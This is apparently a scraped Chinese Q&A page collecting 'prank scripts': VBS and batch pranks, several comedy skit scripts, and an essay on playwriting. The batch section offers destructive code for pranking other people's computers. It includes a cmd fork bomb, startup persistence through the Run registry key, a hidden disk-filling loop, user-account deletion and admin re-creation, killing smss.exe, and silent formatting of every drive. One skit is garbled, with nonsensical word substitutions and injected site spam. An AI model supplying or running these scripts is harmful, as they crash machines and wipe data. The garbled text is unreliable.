Ⅰ vbs声音恶搞脚本代码是什么
CreateObject("SAPI.SpVoice").Speak "我很帅"
电脑就会说出：我很帅
我很帅这个部分可以随便改
Ⅱ 如何用VBS编写一个简单的恶搞脚本
do while true
a=inputbox("")
loop
死循环弹出对话框
Ⅲ 恶搞程序代码
代码如下，复制到记事本，将txt改为vbs就ok了，中间的字可自己改。
if MsgBox("对不起,您灌水太多需要重新启动计算机。"&chr(10)&"确定要重启吗？",vbOKCancel+vbInformation,"重新启动计算机")=vbCancel then
msgbox " 正在清理系统垃圾wow ~_^",,"算你倒霉！！"
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "shutdown -s -t 5",,true
end if
加分哦
Ⅳ 寻找办公室轻喜剧脚本，可以是一些片段，比如某个场景发生的有趣的故事，适合办公室的，
爱笑会议室，很逗，里面都是小片段，应该有办公室的
Ⅳ 求~~求一个情景喜剧脚本~
一女子有外遇，欲与一男偷情。
男的说要给女的惊喜，蒙上女人双眼带她到一家超豪华的酒店。
女人摘下眼罩才发现原来是她老公上班的酒店，但不知老公在不在店内，怕被老公撞见又不想浪费情人的一片心意，只好问服务员“某某某（老公名字）经理在不在。”
结果服务员说没叫这个的经理，女人很诧异，求服务员帮查员工名单，终于查到有个清洁工叫某某某。原来老公下岗后骗女人说在大酒店当经理，其实是在做清洁工。女人非常后悔，老公为了养家即使工作又苦又累也不让自己知道，自己却背着老公做下有违妇道的事。
女人正在羞愧难当，不知道如何是好的时候，发现情人不见了。过了一会竟然领着老公一起走了出来。夫妻俩相见更是各怀心事，面面相觑说不出话。这时情人对老公说“某某某啊，这段时间你工作表现非常好，我准备给你发一个优秀员工特别奖标识鼓励，这个奖呢就是可以携带家属在咱们酒店总统套房免费享受三天，吃住玩所有项目免费，这不，我把你夫人也请来了，你们就快去拿钥匙吧。还有啊，某某某你也真是的，在我们酒店做情节工有什么好丢人的，很多刚毕业的大学生想做都没机会，干嘛瞒着夫人啊，俩口子还能互相嫌弃吗，过会好好跟夫人解释解释，好了，快去领钥匙吧。”夫妻俩这时都对这个男人非常感激，互相之间又有很多话要说，就上楼开房去了。
这时服务员问道：“老板，这样合适吗？”原来女人的情人就是这件酒店的老板，偶然得知了自己的情人是自己员工的老婆，偷偷观察发现某某某是个顾家的好老公，又感觉女人其实内心矛盾，对老公还是很有感情的，只是因为老公工作太忙老不在家陪自己，太寂寞才出轨的。于是就忍痛割爱，做了这么一场戏，真是好人啊！
Ⅵ 谁能给我一个大学校园的搞笑话剧脚本，最好是与时俱进积极向上些，大概10分钟左右的。真诚悬赏，我先谢了
这个行么？
试疯云
人物：小艾，小伍，小玲，老师
场景：教室
内容：
小玲趴在桌上睡觉。
小艾丢了本书在旁边，出去。
小伍进来，坐在小艾的位置上。
小艾（进来）：唉，哥们儿，真是莫名其妙，是不是在搞笑，难道你没看到，这个座我已经占了！
小伍：丁是丁，卯是卯，其实我占的比你早！
小艾：我一大早就来了，咋没看见你呢？
小伍：我昨天晚上占的。
小艾：最后一排是我的专利！为了它，我每天早早地起了床，抢破了头，血直流，这个位置不能丢！
小伍：最后一排是我的骄傲，风水宝地这边独好。要想把我从这赶跑（小艾：——咋地？）劝你趁早拉倒！
小玲醒来：吵什么吵什么吵？
一大早就在这么神圣的教室里吵架，浪费大好青春！
知道你们犯了什么错误吗？啊？
小艾：知道。
小伍：我们不吵了。
小玲：你们最不可原谅的是——把我吵醒了！
小艾坐在小玲前面。
小艾：最后一声得，还是发扬风格。哥们，考试照着我点！
小伍：啊？今天考试啊？
小玲：可不？我今天手都麻了！
小艾：吓的噢？
小伍：睡觉睡的吧？
小玲：都不对！打小草累的！
小艾：哎，想我昨晚点灯熬油地折腾了大半夜呀！
小伍：哎呀，发奋学习了？
小玲：你也打小草？
小艾：哪呀，我在想考试的策略！
小伍、小玲凑过去：想到什么?
小艾狂笑：告诉你们，这招绝了！
小伍、小玲：快说啊！
小艾：照书抄——（拿起书）
小玲：去死！
小伍：是个好主意！我咋没想到呢？
小玲：得了吧。你这也叫绝招？
哎，为了缓解一下紧张的气氛，我给你们出道幽默智力题儿。
小艾、小伍不理她。
小玲：说，考试答卷分几步？
小艾、小伍凑过去：几步？
小玲：分三步！
第一步：把名字写上。（两人点头）
第二步：把题目看一遍！（两人点头）
第三步：——把卷纸交上去！
小艾：交白卷哦！
小伍：什么破题啊？
小玲：我再给你们出一道题儿；说，今天考试了，谁没来？
小艾：今天考试谁能不来？小玲？
小玲：我不在呢么！
小艾：看看四周，小伍？
小伍：在呢！
小艾：啊！我知道了——小艾！
小伍：你是白来了！来了跟没来还不一个结果！
小玲：答，老师呗！还没来呢！
老师走进来。
三人吓一跳：来啦？怎么说不来就来了呢？哎呀！（吵闹）
老师：叫什么？癞蛤蟆进来了哦？
三人笑。
老师：严肃点！这考试呢！一点职业道德都没有！这年头最重要的是什么？——分数！分分分，你们的命根！（邪笑）考考考，俺们的法宝！
小艾：抄抄抄，咱们的绝招！
老师：快发卷纸！考试了也不早点来，这都几点了！考试都开始了半小时才来！干什么去了啊？
发卷。
老师：考试时间共两小时！不超过一小时不许交卷！想答卷的同学请拿起笔，不想答卷的同学请原地休息。想上厕所的同学——请约束好自己！
小艾：我把老师好有一比，
他是耗子找猫当三陪——要求无理！
小玲：就是！难道他是传说中的说唱歌手，要不嘴里怎么就叨咕叨咕的没完？
老师：肃静！你们要比树还静！知不知道你们犯了多么严重的错误？比盐海重！
三人开抄。
老师：（指小艾）这位同学请不要抄了！
小伍、小玲：我没抄啊！
老师走到了小艾面前：同学，别抄了！
小艾：你怎么知道？我放在桌子里抄的！
老师：你桌子前面的板掉了，我都看见了！
小艾：（看了看）哎呀！真倒霉！
老师没收小艾的卷纸，小艾刚想站起来走。
老师：坐下！不到一小时不许出去！
老师走到小伍旁边，小伍把卷纸拿到桌里去抄。
老师：行了行了，别装了！
最看不起你们这些拿书作弊的，一点技术含量都没有。
你刚才怎么抄来的？这样？这样？
小伍：再低点再低点！
老师：（没收了小伍的卷纸）你也坐着反省一下，为什么拿书作弊？
小伍：也不想拿书啊！谁让我没像她（小玲）一样打好小草的！
小玲瞪大眼睛看着小伍。
老师：这就对了，下回记得打小草！我就喜欢这种用功的孩子。
老师：到点了！交卷。
收好卷纸。
老师：好。记得下午来考高数！（下）
小艾：啊！下午还考高数？
小玲：啊！！下午考高数！（拿起小草）刚才考了什么？
小伍：高……数？！那是什么树？
三人：研究下怎么打小草吧！
老师走进来（老师均由一人换装扮演即可）。
小艾：语文老师！
老师：小艾，你怎么写作文的！（卷纸给小艾）
小艾：怎么了？
老师：你读读。
小艾：《我的老师》，我的老师长了一张瓜子脸……
老师：等下，（拿出一大牌子，上写爪）你这是瓜子脸的瓜吗？你写来的是我的老师长了一张爪子脸！
小艾：老师，爪子脸也是脸，就不能凑合看吗？
老师：你接着读。
小艾：我的老师长的真漂亮，真漂亮，真漂亮呀真漂亮，真漂亮呀真漂亮……
老师：停！你写那么多真漂亮干吗？就这么一直写到了结尾！
小艾：老师，作文不是要求不能少于500字吗？
老师：那你就只写真漂亮？
小艾：不是要求写出真情实感吗？这就是我的全部感情啊！
老师：哼哼，告诉你，你才496字！
小艾：哦！那再补一句：真漂亮啊！
老师：你看看你的古文翻译，触槐而死你怎么译的？
小艾：找棵老槐树上吊了！
老师：为什么是老槐树？你看你解释词语，解释逝世，你竟然写去死！
小艾：噢，我本想写死去的！
老师：（一脸无奈）你，你又挂了！
小艾：再给我一次机会吧！我都重修五次了！
老师：好吧，我就给你个机会。听说过疱丁解牛，游刃有余吧？你用游刃有余造个句子，对了我就给你过！
小艾：游——刃——有——鱼？！鱼……鱼，鱼在水里游，游刃有鱼……
老师：（笑了）恭喜你，获得了——
小艾：过了？
老师：（冷漠）第六次重修的机会。（下）
小玲、小伍：算了，快来研究高数小草吧。
老师进来。
小伍：哲学老师！
老师：小伍！
小伍：有！
老师：看看你的卷纸！
我的问题是：这就是问题，请作答。
你怎么答的？
小伍：这就是答案，请给分……不对吗？
老师：你这叫问题吗？
老师：你——好，下一道，
论述题：什么是勇气，你怎么没答？
小伍：我答了啊！
老师：就写了五个字！
小伍：（读）这就是勇气！没错啊！然后我下面的题都没答就交卷了，我把勇气解释的多好呀！
老师：你——你等着挂吧！
小伍：老师！再给我次机会吧！我挂了十五次啦！
老师：那我问你两个问题。就看你的造化了……
小伍：两道——太多了！
老师：好，第一题答对了！第二题你不答我也让你过，你有多少根头发？
小伍：如果我是秃子就好了。
老师：答啊！
小伍：123456789根！
老师：你怎么知道？
小伍：老师，第二题我可以不答！
老师：好！很好！非常好！拿着（递给一张纸）
小伍：这是——
老师：重修单！（下）
小玲、小艾：快来研究高数——
老师进来。
小玲：英语老师！（欲跑）
老师：小玲,跑什么呀？没吃早饭呀！
小玲：没吃——
老师：我看见你早上吃饭了呀！
小玲：——明天的早饭！
老师：小玲，看看卷纸，你这阅读理解没一个对的！你是不是根本没读就直接看题目选的？
小玲：不是！
老师：还敢狡辩！
小玲：我连题目都没看，直接看答案选的！
老师：还有你的作文！怎么看着眼熟？
小玲：能不眼熟吗？阅读理解每段第一句话拼起来的……
老师：小玲，你该觉悟了！你这次——
小玲：啊！老师，我都挂五、十五，不，五十次了！不能再挂了啊！
老师：不是我不给你过……这……比如，你能翻译出evening dress是什么意思吗？
（对观众）是晚礼服！
小玲看着小艾、小伍。
小艾：evening是晚上吧，最适合大游戏！
小伍：dress是衣服，MM总吵着买！
小玲：哦！老师，我知道了！是夜行衣！
老师摇摇头。（下）
小玲：不行，我得找老师去！你们俩慢慢研究吧！（下）
小艾：算了，还是好好学习吧
Ⅶ 用大概30～40句话写一个搞笑剧本，每句要带有一个数字！不搞笑不给钱！
搞笑话剧剧本：搞笑话剧剧本《大话西游记》
搞笑小品脚本
唐—唐僧
孙—孙悟空
猪—猪八戒
沙—沙僧
白—白晶晶（白骨精）
（旁白：话说唐僧伏兵四人去发音取经。这日，浑身四人翻过黑风岭，脱离一村庄，此处消息袅袅，似有饭铺人家。四人奔走劳顿，在此寓居片刻 ……）
唐：堂兄地域瘦马，亲切感中间商人家，悟空，腹中饥饿，快去化些斋饭来！
孙：师父，你不是正在瘦身瘦身吗？那脂肪熄灭可花了咱们不少相关系数盘川呢！何能……
唐：（不急躁地）你这冷遇，少宫墙，没望见为师已皮包骨管路了吗？此去孩儿途中，多少妖枝叶怪争相一睹为师的风彩，怎可让人家失望而归？！
（走猫步绕场，停步摆涌浪）
孙：好吧，师父。我这就去。吃饱喝足了可别怪我没揭示你，又念皇后！
唐：你是愈来愈烦人了，还不快去！
孙：是，师父。八戒、沙僧，take care ofMr.唐。I will be back soon.
（孙下）
唐：这文法，嘴裏怎这良多鸟语？
猪：{title}师父，他是瞧我英语过了四级，心裏不平，所以日夜怠惰想超越我！
（过了一会儿）
唐：咦，八戒，你看，那边不是过来了一名beauty!
(作远眺状)
猪：师父，真的！好好研究院啊！
（作拭细胞液状）
唐：（羞愧状，柔声）
罪责，峭拔……八戒你又失色，
（递手绢）
还不快把嘴角擦一下……不过真是惋惜，皮肤稍黑了一点……
（猪、沙骇怪）
（须眉飘飘而过）
沙：STOP！（公设）长调士你好，你多大了，你叫什麽风箱，你从哪裏来，要到哪
裏去，你有不有对象，你的篮子裏是什麽，你可知道这条路上很多多少神社的呀，
不要紧我蠢驴珍惜你的。
白：这位小与尚有礼了。小公使子姓白，名晶晶，即是雪碧——晶晶亮，透心凉的那个晶晶是也。
（三人作神往状）
白：此去大唐介心脏病科较量争论机品级考验。师父们然而从东土大唐来的？
rY 找找网 Vo http://www.zhaoz.com{title}[VS
猪：You are right!我们都是大唐的高僧。不知小姐使的是哪门语言？
白：FORTRAN是也！
唐：（激动地双肩颤动，两眼放光）
实不相瞒，FORTRAN的主考官乃是小僧的二表姐，若小姐可……那小僧倒可助一臂之力……
孙：（绕场上）
何方妖孽，胆敢骚扰。师父，Don't worry.我来也！
（一把抓住猪，与猪相互击掌）
你是哪路毛神，还不快报上名来！
孙：SORRY。路上不慎遗失隐形眼镜，分不清谁是谁。
唐：这猴子越来越没用了。沙僧，把我的眼镜借他一用。
（沙取眼镜给孙戴上）
孙：（冲上前，顿停）
原来是你——MONICA！
白：STIVEN！真的是你吗？
（TITANIC 的音乐响起，孙白对视，作动情状）
猪：Oh, my God! Lovers!
唐：（抹眼泪）好感人啊，我自从看了JACK和ROSE的故事以后，就再没看到过这麽感人的场面了！
沙：（递毛巾给唐）
师父，别让人笑话了，那是TITANIC。
（对观众）
上次路过大华电影院，他非拖我们去看，自己哭得啊……唉，我师父就好个多愁善感……
猪：师兄，这是……？
孙：我和MONICA是大学同学……
白：STIVEN那时是班上的体育委员，我是英语课代表……
白：他天天晚上都送我回家
孙：他每个晚上都给我打个电话
孙：我们总爱傍晚漫步小树林……
白：他总爱给我讲鬼故事，让我（害羞壮）
（三人作神往状，孙白二人作回忆状）
猪：我知道了，候哥那时还喜欢唱：ONLY YOU ,
CAN MAKE MY SKY BRIGHT,ONLY YOU,CAN MAKE ME...
孙：哼你个头啊．．（一捶把他打个好远）
沙：既然是熟人，那……啊，不对，猴哥你不是人，那白小姐她……
唐：（大叫，后倒）快护驾，妖怪啊……！
孙：（左右为难）MONICA，现如今我护送师父西天取经，念在旧情上，你不要为难我……
白：汴水流，泗水流，流到瓜洲古渡头，吴山点点愁，思悠悠，恨悠悠，恨到归时方始休。月明人倚楼。五百年了，STIVEN，你真的一点也不想我吗？
孙：时过情迁，我已不再是原来的我了，你那张旧船票已经登不上我这条破船了。你又何必……
猪：两情若是久长时，又岂在朝朝暮暮……白小姐，其实我与你是同病相怜啊……
孙：SHUT UP！PIG！
唐：悟空，这就是你的不是了。白小姐如此痴情，你却这般铁石心肠，不解风情。天啊，悲剧啊……
（沙僧继续递毛巾给唐）
白：STIVEN，我这次不是来捉你师父的，我只想告诉你在这个世界上还有一个人是永远思念你的。既然你一心向佛，追求进步，我也不好阻拦。我……我走了。
（走几步，猛回头）
愿你幸福。
（走，又回头）
有事记得CALL我……
（走，回头）
摩托罗拉寻呼机，随时随地传讯息……
（下）
（音乐：把悲伤留给自己……四人相对无语……）
唐：（双手合十）生命诚可贵，爱情价更高。若为取经故，两者皆可抛！悟空！你已大彻大悟了。阿弥陀佛……
Ⅷ 求bat搞笑
这个比较常见
@echo off
echo 开始
:2
start cmd.exe
goto 2
就是主要是利用goto 来跳转到:2
循环跳转...就是循环用start 打开CMD ^^
友情提示...死机不负责.......
也可以利用
别的
@echo off
net user
%0
这里的核心是%0 他表示本身 就是循环运行本身^^
这里循环运行net user
上面主要把别人电脑整死机
下面我们利用修改注册表来恶整
常见修改注册表
就是开机加载 这世界人都知道
@echo off
echo wahaha
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v ctfmon.exe(开机加载文件的名字) /d C:\WINDOWS\system32\ctfmon.exe(这里是开机加载文件的路径)
这里可以添加一个开始我们弄的哪个strat 这个
@echo off
echo echo 开始 >c:\windows\cnhacker.bat
echo :2 >>c:\windows\cnhacker.bat
echo start cmd.exe >>c:\windows\cnhacker.bat
echo goto 2>>c:\windows\cnhacker.bat
这里自动在windows下生成cnhacker.bat
然后利用上面开机加载 写起...就OK拉
修改IE栏
reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "window title" /t REG_SZ /d "要改的名字...." /f
屏蔽修改主页那里
reg add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel" /v HOMEPAGE /t REG_DWORD /d 00000001 /f
简单硬盘炸弹(多生成垃圾文章)
echo off
set a=0
:22
set /a a=%a%+1
echo laji >C:\%a%.txt
goto 22
如何要效果好 最好加一段vbs代码 隐藏运行 在C盘制造大量的垃圾TXT文件
修改不电脑显示
REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL /v CheckedValue /t REG_DWORD /d 00000000 /f
把00000000 改成00000001 就可以恢复
这段大家不要实验......
就是利用%username%
net user %username% /del (删除当前使用的用户 不可以直接删除ADMINISTRATOR用户外)
造成你电脑上面ADMINISTRATOR桌面资料丢失
net user %username% /add
NET LOCALGROUP ADMINISTRATORS %username% /add
强行结束smss.exe 进程
ntsd -c q -pn smss.exe (结束该进程你的电脑即将卡死鼠标不能用)
shutdown -a (放弃关闭计算机)
危险不要实验
迅速格式所有盘符
for /f %%i in (d:,e:f:g:h:) do format /q /y %%i
这个必须要利用记事本保存 然后.bat 才能够执行 在CMD下面 无法执行
这些都是病毒常见修改注册表的位置和脚本喜欢改的地方...比较常见!~~
颜色属性由两个十六进制数字指定 --
第一个为背景，第二个则为前景。
每个数字可以为以下任何值之一:
例如color 0d 它就是黑色背景 淡紫色字体
0 = 黑色 8 = 灰色
1 = 蓝色 9 = 淡蓝色
2 = 绿色 A = 淡绿色
3 = 湖蓝色 B = 淡浅绿色
4 = 红色 C = 淡红色
5 = 紫色 D = 淡紫色
6 = 黄色 E = 淡黄色
7 = 白色 F = 亮白色
Ⅸ 急求一个简单易拍的搞笑广告脚本，时间1分钟以内。
fd
Ⅹ 怎么写搞笑的剧本
剧本是一种文学形式，是戏剧艺术创作的文本基础，编导与演员根据剧本进行演出。与剧本类似的词汇还包括脚本、剧作等等。它以代言体方式为主，表现故事情节的文学样式．它是戏剧演出的文学依据，是导演和演员二次创作的出发点．在文学领域里，它是一种独特的文体；在艺术领域里，它又接近文学；在戏剧领域里，它是一切戏剧活动的根本出发点．剧本主要由剧中人物的对话、独白、旁白和舞台指示组成。对话、独白、旁白都采用代言体，在戏曲、歌剧中则常用唱词来表现。剧本中的舞台指示是以剧作者的口气来写的叙述性的文字说明，包括对剧情发生的时间、地点的交代，对剧中人物的形象特征、形体动作及内心活动的描述,对场景、气氛的说明,以及对布景、灯光、音响效果等方面的要求。在戏剧发展史上，剧本的出现，大致在戏剧正式形成并成熟之际。古希腊悲剧从原始的酒神祭礼发展为一种完整的表演艺术，就是以一批悲剧剧本的出现为根本标志的；中国的宋元戏文和杂剧剧本，是中国戏剧成熟的最确实的证据；印度和日本古典戏剧的成熟，也是以一批传世的剧本来标明的。但是，也有一些比较成熟的戏剧形态是没有剧本的，例如古代希腊、罗马的某些滑稽剧，意大利的初期即兴喜剧，日本歌舞伎中的一些口头剧目，中国唐代的歌舞小戏和滑稽短剧，以及现代的哑剧等等。 剧本的写作，最重要的是能够被舞台上搬演，戏剧文本不算是艺术的完成，只能说完成了一半，直到舞台演出之后（即“演出文本”）才是最终艺术的呈现。历代文人中，也有人创作过不适合舞台演出，甚至根本不能演出的剧本。这类的戏剧文本则称为案头戏（也叫书斋剧）。比较着名的如王尔德的《莎乐美》等。而好的剧本，能够具备适合阅读，也可能创造杰出舞台表演的双重价值。一部可以在舞台上搬演的剧本原着，还是需要在每一次不同舞台、不同表演者的需求下，做适度的修改，以符合实际的需要，因此，舞台工作者会修改出一份不同于原着，有着详细注记、标出在剧本中某个段落应该如何演出的工作用的剧本，这样的剧本叫做“提词簿”或“演出本”、“台本” （promptbook）。此外，剧本是完整的演出脚本，有另外一种简单的舞台演出脚本只有简短的剧情大纲，实际的对白与演出，多靠演员在场上临场发挥，而这一种脚本则称为是“幕表”。剧本的创作者剧本的创作者叫做编剧，或尊称为剧作家。剧本的内容剧本主要由人物对话（或唱词）和舞台提示组成。舞台提示一般指出人物说话的语气、说话时的动作，或人物上下场、指出场景或其它效果变换等。一个典型的剧本例子如下： 公馆一室内 王妈：（小心翼翼地）小姐，您还是得注意身子，就吃点东西吧。 赵小姐：（把碗砸在地上）不吃，我就是不吃。 （王妈下）剧本的结构一部较长的剧本，往往会由许多不同的段落所组成，而在不同种类的戏剧中，会使用不同的单位区分段落。在西方的戏剧中，普遍使用“幕”（Act）作为大的单位，在“幕”之下再区分成许多小的“景”（scene）。中国的元杂剧以“折”为单位，南戏则是以“出”为单位，代表的是演员的出入场顺序，而在明代文人的创造后，将“出”改为较为复杂的“出”。剧本的结构一般可分为“开端、发展、转折、高潮、再高潮结局”。 当然根据编剧技巧的不同，结构还会变化。如“佳构剧”。剧本的分类按照应用范围，可分为： 话剧剧本，电影剧本，电视剧剧本等。按剧本题材，又可分为 喜剧、悲剧、历史剧、家庭伦理剧、惊悚剧等等。还有一种剧本主要追求文学性，不以演出为目的，或者不适合演出，动作性不够．被成为＂案头剧＂＂书斋剧＂．欧洲１９世纪的许多浪漫主义诗人和作家创作过很多这种戏剧形式的诗歌，但只能提供阅读，不适合上演．所以在戏剧创作中，剧作家要懂得舞台和表演，应该在剧本的创作中处理好剧本的文学性和舞台性．因为戏剧演出才是最终目的．没有演出和观众的戏剧谈不上是戏剧